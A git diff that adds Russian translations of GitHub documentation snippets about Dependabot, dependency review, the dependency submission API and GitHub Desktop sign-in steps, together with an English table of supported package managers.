-0,0 +1,19 @@ +--- +ms.openlocfilehash: 0ba5f7f1ce6d9ebeb260aa7de13ce31dc280de49 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106912" +--- +{% ifversion ghes %} + +{% note %} + +**Примечание:** Администратор сайта должен настроить {% data variables.product.prodname_dependabot_updates %} для {% data variables.location.product_location %}, прежде чем вы сможете использовать эту функцию. Дополнительные сведения см. в разделе [Включение {% data variables.product.prodname_dependabot %} для вашего предприятия](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). + +{% ifversion security-feature-enablement-policies %} Возможно, вы не сможете включить или отключить {% data variables.product.prodname_dependabot_updates %}, если владелец предприятия установил политику на уровне предприятия. Дополнительные сведения см. в разделе [Применение политик безопасности и анализа кода для предприятия](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). {% endif %} + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md b/translations/ru-RU/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md new file mode 100644 index 000000000000..7374677c3f3b --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 08ae146622715d3cc8dfa4fdbc287fcd9b37f23f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063077" +--- +Если граф зависимостей недоступен в системе, владелец предприятия может включить его. Дополнительные сведения см. в разделе [Включение графа зависимостей для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise). diff --git a/translations/ru-RU/data/reusables/dependabot/initial-updates.md b/translations/ru-RU/data/reusables/dependabot/initial-updates.md new file mode 100644 index 000000000000..13e813fe254f --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/initial-updates.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8adf896da9e4748cfaa5d0d0562172af14264f97 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138777" +--- +При первом включении обновлений версий может присутствовать много устаревших зависимостей, а некоторые из них могут быть устаревшими на много версий по сравнению с последней. {% data variables.product.prodname_dependabot %} проверяет наличие устаревших зависимостей сразу после включения. Новые запросы на вытягивание обновлений версий могут отобразиться в течение нескольких минут после добавления файла конфигурации в зависимости от количества файлов манифеста, для которых настроены обновления. {% data variables.product.prodname_dependabot %} также запустит обновление последующих изменений в файле конфигурации. + +{% data variables.product.prodname_dependabot %} может также создавать запросы на вытягивание при изменении файла манифеста после сбоя обновления. Это связано с тем, что изменения манифеста, например удаление зависимости, вызвавшей сбой обновления, могут привести к успешному завершению нового обновления. + +Для обеспечения управляемости запросов на вытягивание и упрощения их проверки {% data variables.product.prodname_dependabot %} создает не более пяти запросов на вытягивание, чтобы приступить к обновлению зависимостей до последней версии. В случае слияния некоторых из этих первых запросов на вытягивание до следующего запланированного обновления оставшиеся запросы на вытягивание откроются в том же максимальном количестве при следующем обновлении. Вы можете изменить максимальное количество открытых запросов на вытягивание, задав [параметр конфигурации`open-pull-requests-limit`](/github/administering-a-repository/configuration-options-for-dependency-updates#open-pull-requests-limit). diff --git a/translations/ru-RU/data/reusables/dependabot/option-affects-security-updates.md b/translations/ru-RU/data/reusables/dependabot/option-affects-security-updates.md new file mode 100644 index 000000000000..30e0ed0a8ce2 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/option-affects-security-updates.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b180716cdb8b3d44d17a0266084934f8beb4e4c3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138761" +--- +Установка этого параметра также влияет на запросы на вытягивание обновлений системы безопасности для файлов манифеста этого диспетчера пакетов, если только вы не используете `target-branch` для проверки наличия обновлений версий в ветви, отличной от ветви по умолчанию. diff --git a/translations/ru-RU/data/reusables/dependabot/private-dependencies-note.md b/translations/ru-RU/data/reusables/dependabot/private-dependencies-note.md new file mode 100644 index 000000000000..1216d7a9e68e --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/private-dependencies-note.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 74a6541cfbd0ad87d45a316cb46da45c227c9925 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138745" +--- +При обновлении системы безопасности или версий некоторые экосистемы должны иметь возможность разрешить все зависимости от источника, чтобы убедиться, что обновления успешно выполнены. Если файлы манифеста или блокировки содержат какие-либо частные зависимости, {% data variables.product.prodname_dependabot %} должен иметь доступ к расположению, в котором размещаются эти зависимости. Владельцы организации могут предоставлять {% data variables.product.prodname_dependabot %} доступ к частным репозиториям, содержащим зависимости для проекта, в той же организации. Дополнительные сведения см. в разделе [Управление параметрами безопасности и анализа для организации](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies). Доступ к частным реестрам можно настроить в файле конфигурации репозитория _dependabot.yml_. Дополнительные сведения см. в разделе [Параметры конфигурации для файла dependabot.yml](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries). diff --git a/translations/ru-RU/data/reusables/dependabot/private-dependencies.md b/translations/ru-RU/data/reusables/dependabot/private-dependencies.md new file mode 100644 index 000000000000..24a86a9aa56d --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/private-dependencies.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0f47648322834fd8ec81dc4a975cdb8f92610a70 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138734" +--- +В настоящее время {% data variables.product.prodname_dependabot_version_updates %} не поддерживает файлы манифеста или блокировки, содержащие какие-либо частные зависимости Git или частные реестры Git. Это связано с тем, что при выполнении обновлений версии {% data variables.product.prodname_dependabot %} должны иметь возможность разрешать все зависимости из их источника, чтобы убедиться, что обновления версий выполнены успешно. diff --git a/translations/ru-RU/data/reusables/dependabot/pull-request-introduction.md b/translations/ru-RU/data/reusables/dependabot/pull-request-introduction.md new file mode 100644 index 000000000000..a95ec40d8978 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/pull-request-introduction.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 40caecb36e883a7330843fbe17a34ff1bf2c3bbb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138729" +--- +{% data variables.product.prodname_dependabot %} вызывает запросы на вытягивание для обновления зависимостей. В зависимости от настройки репозитория {% data variables.product.prodname_dependabot %} может вызывать запросы на вытягивание для обновления версий и (или) системы безопасности. Управление этими запросами на вытягивание аналогично управлению другими запросами на вытягивание, однако также доступны несколько дополнительных команд. Сведения о включении обновлений зависимостей {% data variables.product.prodname_dependabot %} см. в разделах [Настройка {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates) и [Включение и отключение обновлений версий {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates). diff --git a/translations/ru-RU/data/reusables/dependabot/pull-request-security-vs-version-updates.md b/translations/ru-RU/data/reusables/dependabot/pull-request-security-vs-version-updates.md new file mode 100644 index 000000000000..0935e97ebd11 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/pull-request-security-vs-version-updates.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: beb94442275da611c58bf0697acdf1caf02bfa0e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138721" +--- +Когда {% data variables.product.prodname_dependabot %} вызывает запросы на вытягивание, такие запросы могут быть предназначены для обновлений _безопасности_ или _версий_: + +- _{% data variables.product.prodname_dependabot_security_updates %}_  — это автоматизированные запросы на вытягивание, позволяющие обновлять зависимости с известными уязвимостями. +- _{% data variables.product.prodname_dependabot_version_updates %}_  — это автоматизированные запросы на вытягивание, позволяющие поддерживать зависимости в актуальном состоянии, даже если у них нет уязвимостей. Чтобы проверить состояние обновлений версии, откройте вкладку "Аналитика" в репозитории, а затем "График зависимостей" и {% data variables.product.prodname_dependabot %}. diff --git a/translations/ru-RU/data/reusables/dependabot/result-discrepancy.md b/translations/ru-RU/data/reusables/dependabot/result-discrepancy.md new file mode 100644 index 000000000000..8a6a7b831ffd --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/result-discrepancy.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 581c8ed6d14bff0bf47befd9145d5729d3e635d9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138718" +--- +Результаты обнаружения зависимостей, сообщаемые {% data variables.product.product_name %}, могут отличаться от результатов, возвращаемых другими средствами. Для этого есть веские причины, и полезно понять, как {% data variables.product.prodname_dotcom %} определяет зависимости для проекта. diff --git a/translations/ru-RU/data/reusables/dependabot/sidebar-secret.md b/translations/ru-RU/data/reusables/dependabot/sidebar-secret.md new file mode 100644 index 000000000000..8882ba327313 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/sidebar-secret.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, select **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Secrets**, then click **{% data variables.product.prodname_dependabot %}**. +{% else %} +1. In the sidebar, click **{% data variables.product.prodname_dependabot %}**. + ![{% data variables.product.prodname_dependabot %} secrets sidebar option](/assets/images/enterprise/3.3/dependabot/dependabot-secrets.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependabot/supported-package-managers.md b/translations/ru-RU/data/reusables/dependabot/supported-package-managers.md new file mode 100644 index 000000000000..e22989ba154c --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/supported-package-managers.md @@ -0,0 +1,63 @@ +The following table shows, for each package manager: +- The YAML value to use in the *dependabot.yml* file +- The supported versions of the package manager +- Whether dependencies in private {% data variables.product.prodname_dotcom %} repositories or registries are supported +- Whether vendored dependencies are supported + +Package manager | YAML value | Supported versions | Private repositories | Private registries | Vendoring +---------------|------------------|------------------|:---:|:---:|:---: +Bundler | `bundler` | v1, v2 | | **✓** | **✓** | +Cargo | `cargo` | v1 | **✓** | **✓** | | +Composer | `composer` | v1, v2 | **✓** | **✓** | | +Docker {% ifversion dependabot-version-updates-enhanced-docker-support %}[1]{% endif %} | `docker` | v1 | **✓** | **✓** | | +Hex | `mix` | v1 | | **✓** | | +elm-package | `elm` | v0.19 | **✓** | **✓** | | +git submodule | `gitsubmodule` | N/A (no version) | **✓** | **✓** | | +GitHub Actions | `github-actions` | N/A (no version) | **✓** | **✓** | | +Go modules | `gomod` | v1 | **✓** | **✓** | **✓** | +Gradle | `gradle` | N/A (no version)[2] | **✓** | **✓** | | +Maven | `maven` | N/A (no version)[3] | **✓** | **✓** | | +npm | `npm` | v6, v7, v8 | **✓** | **✓** | | +NuGet | `nuget` | <= 4.8[4] | **✓** | **✓** | | +pip{% ifversion dependabot-PEP621-support %}[5]{% endif %} | `pip` | v21.1.2 | | **✓** | | +pipenv | `pip` | <= 2021-05-29 | | **✓** | | +pip-compile{% ifversion dependabot-PEP621-support %}[5]{% endif %} | `pip` | 6.1.0 | | **✓** | | +poetry | `pip` | v1 | | **✓** | |{% ifversion fpt or ghec or ghes > 3.4 %} +pub | `pub` | v2 [6] | | | |{% endif %} +Terraform | `terraform` | >= 0.13, <= 1.2.x | **✓** | **✓** | | +{% ifversion dependabot-yarn-v3-update %}yarn | `npm` | v1, v2, v3 | **✓** | **✓** | **✓**[7] |{% else %}yarn | `npm` | v1 | **✓** | **✓** | | +{% endif %} + +{% tip %} + +**Tip:** For package managers such as `pipenv` and `poetry`, you need to use the `pip` YAML value. For example, if you use `poetry` to manage your Python dependencies and want {% data variables.product.prodname_dependabot %} to monitor your dependency manifest file for new versions, use `package-ecosystem: "pip"` in your *dependabot.yml* file. + +{% endtip %} + +{% ifversion dependabot-version-updates-enhanced-docker-support %} +[1] {% data variables.product.prodname_dependabot %} can update Docker image tags in Kubernetes manifests. Add an entry to the Docker `package-ecosystem` element of your _dependabot.yml_ file for each directory containing a Kubernetes manifest which references Docker image tags. Kubernetes manifests can be Kubernetes Deployment YAML files or Helm charts. For information about configuring your _dependabot.yml_ file for `docker`, see "`package-ecosystem`" in "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#package-ecosystem)." + + {% data variables.product.prodname_dependabot %} supports both public and private Docker registries. For a list of the supported registries, see "`docker-registry`" in "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#docker-registry)." +{% endif %} + +[2] {% data variables.product.prodname_dependabot %} doesn't run Gradle but supports updates to the following files: `build.gradle`, `build.gradle.kts` (for Kotlin projects), and files included via the `apply` declaration that have `dependencies` in the filename. Note that `apply` does not support `apply to`, recursion, or advanced syntaxes (for example, Kotlin's `apply` with `mapOf`, filenames defined by property). + +[3] {% data variables.product.prodname_dependabot %} doesn't run Maven but supports updates to `pom.xml` files. + +[4] {% data variables.product.prodname_dependabot %} doesn't run the NuGet CLI but does support most features up until version 4.8. + +{% ifversion dependabot-PEP621-support %} +[5] In addition to supporting updates to `requirements.txt` files, {% data variables.product.prodname_dependabot %} supports updates to `pyproject.toml` files if they follow the PEP 621 standard. {% endif %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +[6] {% ifversion ghes = 3.5 %}`pub` support is currently in beta. Any known limitations are subject to change. Note that {% data variables.product.prodname_dependabot %}: + - Doesn't support updating git dependencies for `pub`. + - Won't perform an update when the version that it tries to update to is ignored, even if an earlier version is available. + + For information about configuring your _dependabot.yml_ file for `pub`, see "[Enabling support for beta-level ecosystems](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#enable-beta-ecosystems)." + {%- else %}{% data variables.product.prodname_dependabot %} won't perform an update for `pub` when the version that it tries to update to is ignored, even if an earlier version is available.{% endif %} +{% endif %} + +{% ifversion dependabot-yarn-v3-update %} +[7] Dependabot supports vendored dependencies for v2 onwards.{% endif %} + diff --git a/translations/ru-RU/data/reusables/dependabot/version-updates-for-actions.md b/translations/ru-RU/data/reusables/dependabot/version-updates-for-actions.md new file mode 100644 index 000000000000..747b7185372d --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/version-updates-for-actions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 57f9a694b633e6d24fbdfc4fb24b94d108b8cc82 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138705" +--- +Вы также можете включить {% data variables.product.prodname_dependabot_version_updates %} для действий, добавленных в рабочий процесс. Дополнительные сведения см. в разделе [Поддержание актуальности действий с помощью {% data variables.product.prodname_dependabot %}](/github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot). diff --git a/translations/ru-RU/data/reusables/dependabot/vulnerable-calls-beta.md b/translations/ru-RU/data/reusables/dependabot/vulnerable-calls-beta.md new file mode 100644 index 000000000000..5435409b305b --- /dev/null +++ b/translations/ru-RU/data/reusables/dependabot/vulnerable-calls-beta.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 1e0e1565612bf7107bee82249b8d330d695ca971 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880608" +--- +{% ifversion dependabot-alerts-vulnerable-calls %} + +{% note %} + +**Примечания.** + +- Обнаружение вызовов уязвимых функций с помощью {% data variables.product.prodname_dependabot %} находится в бета-версии и может изменяться. + +- {% data reusables.gated-features.dependency-vulnerable-calls %} + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependency-review/action-enterprise.md b/translations/ru-RU/data/reusables/dependency-review/action-enterprise.md new file mode 100644 index 000000000000..171336644b96 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-review/action-enterprise.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ff7a0c836b3df74110b4613fa032541e0f27d347 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109160" +--- +{% ifversion ghes or ghae %} Владельцы предприятия и пользователи с правами администратора для репозитория могут добавлять {% data variables.product.prodname_dependency_review_action %} в свое предприятие и репозиторий соответственно. +{% endif %} diff --git a/translations/ru-RU/data/reusables/dependency-review/dependency-review-action-beta-note.md b/translations/ru-RU/data/reusables/dependency-review/dependency-review-action-beta-note.md new file mode 100644 index 000000000000..46e871a9da4c --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-review/dependency-review-action-beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 3f8e07d663acad262311066263894f6eb9573691 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063748" +--- +{% note %} + +**Примечание.** {% data variables.product.prodname_dependency_review_action %} в настоящий момент находится в общедоступной бета-версии и может измениться. + +{% endnote %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/dependency-review/dependency-review-action-overview.md b/translations/ru-RU/data/reusables/dependency-review/dependency-review-action-overview.md new file mode 100644 index 000000000000..de31d8d6ea76 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-review/dependency-review-action-overview.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 7e62876e5b30bfe98ea0f74229caf91a8328f4a4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147773213" +--- +{% data variables.product.prodname_dependency_review_action %} сканирует запросы на вытягивание, проверяет изменение зависимостей и создает ошибку, если какие-либо новые зависимости имеют известные уязвимости. Для этого действие использует конечную точку API, которая сравнивает зависимости между двумя редакциями и сообщает о любых различиях. + +Дополнительные сведения об этом действии и конечной точке API см. в документации по [`dependency-review-action`](https://github.com/actions/dependency-review-action) и разделе [Проверка зависимостей](/rest/dependency-graph/dependency-review) в документации по API. diff --git a/translations/ru-RU/data/reusables/dependency-review/dependency-review-enabled-ghes.md b/translations/ru-RU/data/reusables/dependency-review/dependency-review-enabled-ghes.md new file mode 100644 index 000000000000..48c0def43ecb --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-review/dependency-review-enabled-ghes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 04b792fa838834d3513459d3653ca515c5e6955f +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: "148135728" +--- +{% ifversion ghes %} После включения графа зависимостей пользователи получат доступ к функции проверки зависимостей. {% data reusables.dependency-review.short-summary %} Дополнительные сведения см. в разделе [Сведения о проверке зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/dependency-review/feature-overview.md b/translations/ru-RU/data/reusables/dependency-review/feature-overview.md new file mode 100644 index 000000000000..f2e59b083a1b --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-review/feature-overview.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 94ab0d8deea02a960ddd3c376d3954aeef8b4544 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: "148135725" +--- +{% data reusables.dependency-review.short-summary %} Он обеспечивает понятную визуализацию изменений зависимостей с расширенным диффеном на вкладке "Измененные файлы" запроса на вытягивание. Функция проверки зависимостей позволяет получить следующую информацию: +- Добавленные, удаленные и обновленные зависимости, а также даты их выпуска. +- Количество проектов, в которых используются эти компоненты. +- Данные об уязвимостях для этих зависимостей. diff --git a/translations/ru-RU/data/reusables/dependency-review/short-summary.md b/translations/ru-RU/data/reusables/dependency-review/short-summary.md new file mode 100644 index 000000000000..a8493cdfecb8 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-review/short-summary.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 294a579529f4f181f8269df3266d3c58bf251501 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: "148135717" +--- +Проверка зависимостей помогает разобраться в изменениях зависимостей и понять их влияние на безопасность в каждом запросе на вытягивание. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/dependency-submission/about-dependency-submission.md b/translations/ru-RU/data/reusables/dependency-submission/about-dependency-submission.md new file mode 100644 index 000000000000..6b12d5fd1df7 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-submission/about-dependency-submission.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 23a47438a4b4091ec5034671fa226eff68a08ef6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080482" +--- +API отправки зависимостей позволяет отправлять зависимости для проекта. Так вы сможете добавлять зависимости, например разрешаемые при компиляции или сборке программного обеспечения, в функцию графа зависимостей {% data variables.product.prodname_dotcom %}, чтобы создать более полную картину всех зависимостей проекта. + +На графе зависимостей отображаются все зависимости, которые вы отправили через этот API, а также те, которые определены в файлах манифеста или блокировки, размещенных в репозитории (например, файл `package-lock.json` в проекте JavaScript). Дополнительные сведения о просмотре графа зависимостей см. в статье [Изучение зависимостей репозитория](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#viewing-the-dependency-graph). + +Отправленные зависимости будут получать {% data variables.product.prodname_dependabot_alerts %} и {% data variables.product.prodname_dependabot_security_updates %} по всем известным уязвимостям. Вы будете получать {% data variables.product.prodname_dependabot_alerts %} только для тех зависимостей, которые относятся к одной из [поддерживаемых экосистем](https://github.com/github/advisory-database#supported-ecosystems) {% data variables.product.prodname_advisory_database %}. Отправленные зависимости не будут отображаться при проверке зависимостей или в аналитических сведениях о зависимостях в вашей организации. diff --git a/translations/ru-RU/data/reusables/dependency-submission/dependency-submission-api-beta.md b/translations/ru-RU/data/reusables/dependency-submission/dependency-submission-api-beta.md new file mode 100644 index 000000000000..812d6391abef --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-submission/dependency-submission-api-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 88147b7d5d8b856b9e8e785be4bea83c6bf1fbcd +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147080474" +--- +{% note %} + +**Примечание.** API отправки зависимостей в настоящее время находится в общедоступной бета-версии и может быть изменен. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/dependency-submission/dependency-submission-link.md b/translations/ru-RU/data/reusables/dependency-submission/dependency-submission-link.md new file mode 100644 index 000000000000..b669c8427df6 --- /dev/null +++ b/translations/ru-RU/data/reusables/dependency-submission/dependency-submission-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d737ba71f2ac489193cebbfa9fed42f39c5c3e9a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080658" +--- +Кроме того, можно использовать API отправки зависимостей (бета-версия) для отправки зависимостей из выбранного диспетчера пакетов или экосистемы, даже если экосистема не поддерживается графом зависимостей для анализа файлов манифеста или блокировки. Граф зависимостей будет отображать отправленные зависимости, сгруппированные по экосистеме, но отдельно от зависимостей, проанализированных из файлов манифеста или блокировки. Дополнительные сведения об API отправки зависимостей см. в разделе [Использование API отправки зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). diff --git a/translations/ru-RU/data/reusables/desktop/2fa-in-browser.md b/translations/ru-RU/data/reusables/desktop/2fa-in-browser.md new file mode 100644 index 000000000000..25630d8899bf --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/2fa-in-browser.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 122f879fb460ae8bde2d1efa368d959f0ad040aa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138646" +--- +1. Если для {% data variables.product.prodname_dotcom %} настроена двухфакторная проверка подлинности, выполните одно из следующих действий: + - Если настроена двухфакторная проверка подлинности по SMS, получите код проверки в SMS-сообщении. + - Если настроена двухфакторная проверка подлинности через приложение с одноразовыми паролями с ограниченным сроком действия, создайте код проверки. + + После этого введите код проверки в запросе в {% data variables.product.prodname_dotcom %} и щелкните **Проверить**. + ![Поле для ввода кода двухфакторной проверки подлинности](/assets/images/help/desktop/2fa-code-field.png) diff --git a/translations/ru-RU/data/reusables/desktop/about-github-desktop.md b/translations/ru-RU/data/reusables/desktop/about-github-desktop.md new file mode 100644 index 000000000000..ed49d3b1b8f8 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/about-github-desktop.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 5ce7a5e1be12c0a523bf5454dd49b802b479bdf2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138641" +--- +{% data variables.product.prodname_desktop %} — это средство с открытым исходным кодом, позволяющее повысить производительность. {% data variables.product.prodname_desktop %} способствует более эффективной совместной работе в команде в соответствии с рекомендациями по использованию Git и {% data variables.product.prodname_dotcom %}. + +Среди множества возможностей {% data variables.product.prodname_desktop %} есть следующие: +- Добавление изменений в фиксацию в интерактивном режиме +- Быстрое добавление соавторов в фиксацию +- Извлечение ветвей с использованием запросов на вытягивание и просмотр состояний непрерывной интеграции +- Сравнение измененных образов diff --git a/translations/ru-RU/data/reusables/desktop/authenticate-in-browser.md b/translations/ru-RU/data/reusables/desktop/authenticate-in-browser.md new file mode 100644 index 000000000000..aeea3e4559a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/authenticate-in-browser.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 957ae8426750627cab3586db4e3ab401b109dd27 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138638" +--- +1. Чтобы пройти проверку подлинности в {% data variables.product.prodname_dotcom %}, введите учетные данные {% data variables.product.prodname_dotcom %}.com и нажмите кнопку **Войти**. + ![Кнопка входа в {% data variables.product.prodname_dotcom %} в браузере](/assets/images/help/desktop/sign-in-button-browser.png) + + Если же вы уже вошли в {% data variables.product.prodname_dotcom %}, следуйте инструкциям, чтобы вернуться в {% data variables.product.prodname_desktop %} для завершения проверки подлинности. diff --git a/translations/ru-RU/data/reusables/desktop/choose-a-branch-to-merge.md b/translations/ru-RU/data/reusables/desktop/choose-a-branch-to-merge.md new file mode 100644 index 000000000000..bf30d97044a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/choose-a-branch-to-merge.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c118c19b4ec8e2b7a2ddeadeebfe43c879f85566 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138633" +--- +1. Нажмите кнопку **«Выбрать ветвь», чтобы выполнить объединение в ВЕТВЬ** . +![Выбор параметра ветви в меню списка ветвей](/assets/images/help/desktop/merge-branch-button-list.png) diff --git a/translations/ru-RU/data/reusables/desktop/choose-a-theme.md b/translations/ru-RU/data/reusables/desktop/choose-a-theme.md new file mode 100644 index 000000000000..8b58adf21b5b --- /dev/null +++ 